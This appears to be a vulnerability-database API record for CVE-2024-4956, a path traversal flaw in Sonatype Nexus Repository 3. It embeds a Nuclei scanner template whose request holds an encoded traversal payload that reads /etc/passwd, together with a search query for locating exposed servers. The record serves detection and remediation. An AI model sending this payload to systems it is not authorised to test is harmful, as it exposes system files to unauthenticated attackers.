{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2024-4956/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2024-4956/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2024-4956/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2024-4956/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2024-4956/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2024-4956"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2024-4956"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2024/CVE-2024-4956.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2024-4956\n\ninfo:\n  name: Sonatype Nexus Repository Manager 3 - Local File Inclusion\n  author: ritikchaddha\n  severity: high\n  description: |\n    Path Traversal in Sonatype Nexus Repository 3 allows an unauthenticated attacker to read system files. Fixed in version 3.68.1.\n  impact: |\n    Unauthenticated attackers can read arbitrary system files via path traversal in Sonatype Nexus Repository.\n  remediation: |\n    Update Sonatype Nexus Repository 3 to version 3.68.1 or later.\n  reference:\n    - https://x.com/phithon_xg/status/1793517567560335428?s=46&t=GMMfJwV8rhJHdcj2TUympg\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-4956\n    - https://support.sonatype.com/hc/en-us/articles/29416509323923\n    - https://github.com/fkie-cad/nvd-json-data-feeds\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2024-4956\n    cwe-id: CWE-22\n    epss-score: 0.19154\n    epss-percentile: 0.97335\n    cpe: cpe:2.3:a:sonatype:nexus:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: sonatype\n    product: nexus\n    fofa-query:\n      - title=\"Nexus Repository Manager\"\n      - title=\"nexus repository manager\"\n  tags: cve,cve2024,nexus,lfi,sonatype,vuln,vkev\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - regex('root:.*:0:0:', body)\n          - contains(header, \"application/octet-stream\")\n          - status_code == 200\n        condition: and\n# digest: 4a0a00473045022041cae3435d17dce64f57999801296f5229c0783aeb857b12909079cc3854086f022100eb3ef0ee7632aa61fe0a5aebec1ecf61a33d94a3e513885e9577be48c94341c4:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2024-4956"
}